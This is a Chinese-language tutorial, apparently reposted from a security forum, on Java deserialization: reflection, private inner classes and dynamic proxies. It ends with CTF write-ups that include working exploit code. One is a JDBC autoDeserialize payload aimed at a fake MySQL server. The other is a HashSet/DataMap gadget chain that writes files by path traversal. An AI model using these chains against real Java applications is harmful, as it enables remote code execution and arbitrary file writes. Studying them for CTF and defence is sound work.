java反序列化知识总结和一些ctf的例题

java反序列化知识总结和一些ctf的例题

反序列化知识:
对于web手来说,php的反序列化一定不陌生,php的反序列化一般关注的就是魔术方法的调用和动态函数的执行这些,在java这里对参数类型这些要求严格,所以不能像php那么轻松的挖掘反序列化链子,接下来就讲一些cc链里面用到的java的一些特性和一些比较高质量的java_ctf题。
java的反射
本身反射就是为了动态执行类方法,所以我们就可以利用达到命令执行,先来看看java正常命令执行
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class test {
    public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException, ClassNotFoundException, IOException {
        Runtime.getRuntime().exec("calc");
    }
}

为什么要通过getRuntime()来调用exec,而不是直接实例化Runtime呢?看看源码就知道了,发现是因为Runtime构造函数是私有的所以不能直接实例化,而是通过getRuntime()来进行构造,刚好又是静态方法,所以可以直接调用

但是不想通过getRuntime来得到对象,怎么办呢?这里就可以用到反射的第一个技巧了,利用反射来进行构造,通过这里我们就可以知道了,java可以通过反射来获取私有属性(也就是constructor.setAccessible(true);这就是为了设置可以获取和修改私有属性这些)。
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class test {
    public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException, ClassNotFoundException, IOException {
        //Runtime.getRuntime().exec("calc");
        Class clazz = Class.forName("java.lang.Runtime");
        Constructor[] constructors = clazz.getDeclaredConstructors();
        Constructor constructor = constructors[0];
        constructor.setAccessible(true);
        Runtime rt = (Runtime)constructor.newInstance();
        rt.exec("calc");
    }
}

现在我们再通过反射来调用getRuntime()再到exec来达到命令执行,这里需要注意一个地方,Method的invoke里面是一个类,而不是一个实例化的对象,主要原因是gt是源于getRuntime这个方法,而刚刚看到getRuntime是一个静态方法,所以这里也就不需要实例化了,这里就是cc链里面很多地方用到反射为什么要通过getRuntime来到exec了。
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class test {
    public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException, ClassNotFoundException, IOException {
        //Runtime.getRuntime().exec("calc");
        Class clazz = Class.forName("java.lang.Runtime");
        Method gt = clazz.getMethod("getRuntime");
        clazz.getMethod("exec",String.class).invoke(gt.invoke(clazz),"calc");
    }
}

我们还可以通过反射直接来调用exec执行命令
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class test {
    public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException, ClassNotFoundException, IOException {
        //Runtime.getRuntime().exec("calc");
        Class clazz = Class.forName("java.lang.Runtime");
        Constructor[] constructors = clazz.getDeclaredConstructors();
        Constructor constructor = constructors[0];
        constructor.setAccessible(true);
        clazz.getMethod("exec",String.class).invoke(constructor.newInstance(),"calc");
    }
}

通过上面的例子我想对于反射来构造类应该没有什么问题了,当然在反射构造类时还有一个内部类的东西,这里就还是先把反射构造类讲完吧,需要注意的是私有内部类应该怎么构造,可以发现还是通过反射来构造,forName时里面是通过$来进行分隔的,还有就是newInstance时第一个参数得是这个类的实例化对象(如果不是私有内部类,这里第一个就是内部类对应构造方法的参数)。
public class People {
    private class Vuln{
        private String inStr="you don't control me";
        public  Vuln(String s){System.out.println(inStr+s);}
    }
}



import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class test {
    public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException, ClassNotFoundException, IOException {
        Class clazz = Class.forName("People$Vuln");
        Constructor[] constructors = clazz.getDeclaredConstructors();
        Constructor constructor = constructors[0];
        constructor.setAccessible(true);
        constructor.newInstance(new People(),".Oh it easy?");
    }
}

好了,对于反射构造类基本差不多了,反射这里还有一个利用点就是通过反射来修改类的私有属性值,这个有什么用呢?在cc链里面对Hashmap进行put时会对key进行计算,这样就会修改我们加入的类的一些值,所以可以直接通过修改类的值来进行构造
public class People {
    private String a="only a?";
    public void getA(){ System.out.println(this.a); }
}


import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class test {
    public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException, ClassNotFoundException, IOException, NoSuchFieldException {
        People pl = new People();
        pl.getA();
        Class clazz = Class.forName("People");
        Field fd_a = clazz.getDeclaredField("a");
        fd_a.setAccessible(true);
        fd_a.set(pl,"I can change it,,,");
        pl.getA();
    }
}

那么对于java在构造poc中的反射已经差不多了,再来看看动态代理,可以发现动态代理这里主要是通过动态代理生成的类调用方法时首先会触发动态代理的invoke方法,这个在cc1的链子里面也出现过
People.java
public interface People {
    public void getA();
}

Man.java
public class Man implements People {
    @Override
    public void getA(){ System.out.println("Maned");}

}

PeopleHandler.java
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;

public class PeopleHandler implements InvocationHandler {

    private Object target;
    public PeopleHandler(Object pl) {
        this.target=pl;
    }

    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        System.out.println("invoked");
        method.invoke(this.target, args);
        return null;
    }
}


test.java
import java.io.IOException;
import java.lang.reflect.*;

public class test {
    public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException, ClassNotFoundException, IOException, NoSuchFieldException {
        Man man = new Man();
        PeopleHandler pl_handler = new PeopleHandler(man);
        People pl = (People) Proxy.newProxyInstance(People.class.getClassLoader(),
                new Class[] {People.class}, pl_handler);
        pl.getA();
    }
}

ctf里面一些比较有意思的java题
先来看看2020的羊城杯的java题吧,需要用到动态代理和反射的知识,也就是上面所讲的,动态代理实现的类在调用其他方法时会首先调用动态代理实现的invoke的方法,所以流程如下(通过动态代理的特性配合有漏洞版本的jdbc来达到命令执行):




所以构造poc:
package gdufs.challenge.web;
import gdufs.challenge.web.invocation.InfoInvocationHandler;
import gdufs.challenge.web.model.DatabaseInfo;
import gdufs.challenge.web.model.Info;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Proxy;
import java.util.Base64;
/*
info.getAllInfo()
    InfoInvocationHandler.invoke()
        DatabaseInfo.checkAllInfo()
            DatabaseInfo.connect() //配合jdbc的反序列化
 */
public class exp {
    public static void main(String[] args) throws Exception {
        DatabaseInfo databaseInfo = new DatabaseInfo();
        databaseInfo.setHost("127.0.0.1");
        databaseInfo.setPort("3306");
        databaseInfo.setUsername("yso_CommonsCollections5_calc");
        databaseInfo.setPassword("123&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor");

        ClassLoader classLoader = databaseInfo.getClass().getClassLoader();
        Class[] interfaces = databaseInfo.getClass().getInterfaces();
        InfoInvocationHandler infoInvocationHandler = new InfoInvocationHandler(databaseInfo);
        Info proxy = (Info)Proxy.newProxyInstance(classLoader,interfaces,infoInvocationHandler);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(baos);
        objectOutputStream.writeObject(proxy);
        objectOutputStream.flush();
        objectOutputStream.close();
        System.out.printf(new String(Base64.getEncoder().encode(baos.toByteArray())));

    }
}
运行题目和启动fake_server,然后修改cookie值方法hello的路由就可以成功命令执行




现在来看看d3ctf的那个java反序列化题,这里面主要是反射用的多,主要讲反序列化,所以前面2层的绕过就没有必要说明了,直接看看反序列化的流程:






然后来构造poc,这里的poc和nu1l差不多,因为当时比赛没有做出来,后来复现的,生成poc时得把DataMap的Entry里面的hashCode方法直接改成return 1; 这么做的目的是为了让生成poc时不修改我们已经构造好的类

package launch;
import checker.DataMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;


/**
 HashSet.readObject()
 HashMap.put()
 HashMap.hash()
 DataMap$Entry.hashcode
 DataMap$Entry.getValue()
 DataMap.get()
 SimpleCache$StorableCachingMap.put()
 SimpleCache$StorableCachingMap.writeToPath()
 FileOutputStream.write()
 */
public class poc {
    public static Serializable getGadget() throws Exception {

        byte[] content_byte = Files.readAllBytes(new File("D:\\dk\\d3\\www_1385f769c3bd9b2489b828ce25238f3dee4ff4f16f\\Exp.class").toPath());
        String file_name = "../../../../../../../../../../../../../../aaaaaaa.class";
        Constructor aspectjConstructor = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap").getDeclaredConstructors()[0];
        aspectjConstructor.setAccessible(true);
        Object simpleCache = aspectjConstructor.newInstance(".", 12);//这里就用到了前面的内部公有类实例化

        HashMap wrapperMap = new HashMap();
        wrapperMap.put(file_name, content_byte);

        DataMap dataMap = new DataMap(wrapperMap, (Map) simpleCache);

        Constructor[] entryConstructor = Class.forName("checker.DataMap$Entry").getDeclaredConstructors();
        entryConstructor[0].setAccessible(true);
        Object entry = entryConstructor[0].newInstance(dataMap, file_name);//这里就用到了前面的私有内部类的实例化方式

        HashSet map = new HashSet(1);
        map.add(entry);//nu1l这之后的操作就是为了修改这个值,目的也是防止add时修改我们已经构造好的类

        ObjectOutputStream o = new ObjectOutputStream(new FileOutputStream("Object.obj2"));
        o.writeObject(map);
        o.flush();
        o.close();

        return 1;
    }

    public static void main(String[] args) throws Exception {
        getGadget();
    }
}
好了现在把之前改了的hashCode方法改回来,然后反序列化生成的poc

package launch;
import checker.DataMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;


/**
 HashSet.readObject()
 HashMap.put()
 HashMap.hash()
 DataMap$Entry.hashcode
 DataMap$Entry.getValue()
 DataMap.get()
 SimpleCache$StorableCachingMap.put()
 SimpleCache$StorableCachingMap.writeToPath()
 FileOutputStream.write()
 */
public class poc {
    public static Serializable getGadget() throws Exception {

        byte[] content_byte = Files.readAllBytes(new File("D:\\dk\\d3\\www_1385f769c3bd9b2489b828ce25238f3dee4ff4f16f\\Exp.class").toPath());
        String file_name = "../../../../../../../../../../../../../../aaaaaaa.class";
        Constructor aspectjConstructor = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap").getDeclaredConstructors()[0];
        aspectjConstructor.setAccessible(true);
        Object simpleCache = aspectjConstructor.newInstance(".", 12);//这里就用到了前面的内部公有类实例化

        HashMap wrapperMap = new HashMap();
        wrapperMap.put(file_name, content_byte);

        DataMap dataMap = new DataMap(wrapperMap, (Map) simpleCache);

        Constructor[] entryConstructor = Class.forName("checker.DataMap$Entry").getDeclaredConstructors();
        entryConstructor[0].setAccessible(true);
        Object entry = entryConstructor[0].newInstance(dataMap, file_name);//这里就用到了前面的私有内部类的实例化方式

        HashSet map = new HashSet(1);
        map.add(entry);

        File file = new File("Object.obj2");
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file));
        Object newUser = (Object)ois.readObject();

        return 1;
    }

    public static void main(String[] args) throws Exception {
        getGadget();
    }
}
然后就可以看到所运行盘符的目录下面成功写入文件

本文来源于: https://xz.aliyun.com/t/9342

相关推荐

58集团白盒代码审计系统建设实践1:技术选型

原文链接:https://mp.weixin.qq.com/s/d9RzCFkYrW27m1_LkeA2rw 背景 源代码安全检测是安全开发流程(SDL)中非常重要的一部分,在58集团的CI/CD流程中每天有数千次量级的构建及发布,白盒检测

macos 内存分配学习笔记

学习的 ppt 感谢 AngelBoy1 地址 基础 在macOS中利用的是 libcmalloc 在这个模式中 堆块对应为 tiny small large tiny (Q = 16) ( tiny < 1009B ) small (Q

一次从内网到外网,黑盒到白盒的批量挖洞经历

前言:此次挖洞较为基础,分析得不足的地方望大佬指正。 内网挖洞: 建议像我这样入门不久的可以拿自己学校内网练练手先(得授权),再在在教育行业SRC等漏洞平台上挖掘漏洞,赢得认可,获取些动力。<大佬的当我没说 0.0> 向信息中心的老师申请了

小白对彩虹猫的简单分析

C++编写的,未加壳 在虚拟机跑了一下,观察了一下执行效果,用微步在线分析了一下。 创建了8个进程,目前我们还不太清楚这些进程做了什么事情 现在我们直接IDA分析,进入main函数 大致含义是根据参数来判断执行流程,如果参数小于等于1

Java安全之Fastjson反序列化漏洞分析

0x00 前言 在前面的RMI和JNDI注入学习里面为本次的Fastjson打了一个比较好的基础。利于后面的漏洞分析。 0x01 Fastjson使用 在分析漏洞前,还需要学习一些Fastjson库的简单使用。 Fastjson概述 Fas

使用 CVE-2020-2555 攻击 Shiro

前言 前段时间项目上遇到一个部署在 Weblogic 上存在漏洞的 Shiro 应用,于是参照 Y4er 师傅的文章 《使用WebLogic CVE-2020-2883配合Shiro rememberMe反序列化一键注入蚁剑shell》 的

【漏洞预警】ntopng 权限绕过与任意代码执行漏洞(CVE-2021-28073/CVE-2021-28074)

2021年3月24日,阿里云应急响应中心监测到国内某安全团队公开披露 ntopng 权限绕过与任意代码执行漏洞,其CVE号为 CVE-2021-28073、CVE-2021-28074。 漏洞描述 ntopng是一款基于Web的流量分析

【漏洞预警】Apache Druid 远程代码执行漏洞(CVE-2021-26919)

2021年3月30日,Apache Druid官方发布安全更新,修复了由蚂蚁安全非攻实验室 @fantasyC4t 上报的 CVE-2021-26919 Apache Druid 远程代码执行漏洞。 漏洞描述 Apache Druid

【漏洞预警】VMware vRealize Operations Manager SSRF与文件写入漏洞

2021年3月31日,阿里云应急响应中心监测到 VMware 官方发布安全公告,披露了CVE-2021-21975 VMware vRealize Operations Manager API SSRF 和 CVE-2021-21983 V

Internet Explorer漏洞分析(四)——CVE-2016-0199

0x01 漏洞信息 0x01.1 漏洞简述 编号:CVE-2016-0199 类型:类型混淆(Type Confusion) 漏洞影响:远程代码执行(RCE)/拒绝服务攻击 (DoS) CVSS 2.0:9.3 mshtml.dll组件在将

Jackson-databind漏洞两则分析

文章前言 本篇文章将对CVE-2020-36189(Jackson-databind SSRF&RCE)漏洞和CVE-2020-36186(jackson-databind RCE)漏洞进行浅析,同时将在文末给出两则新的Gadget !!!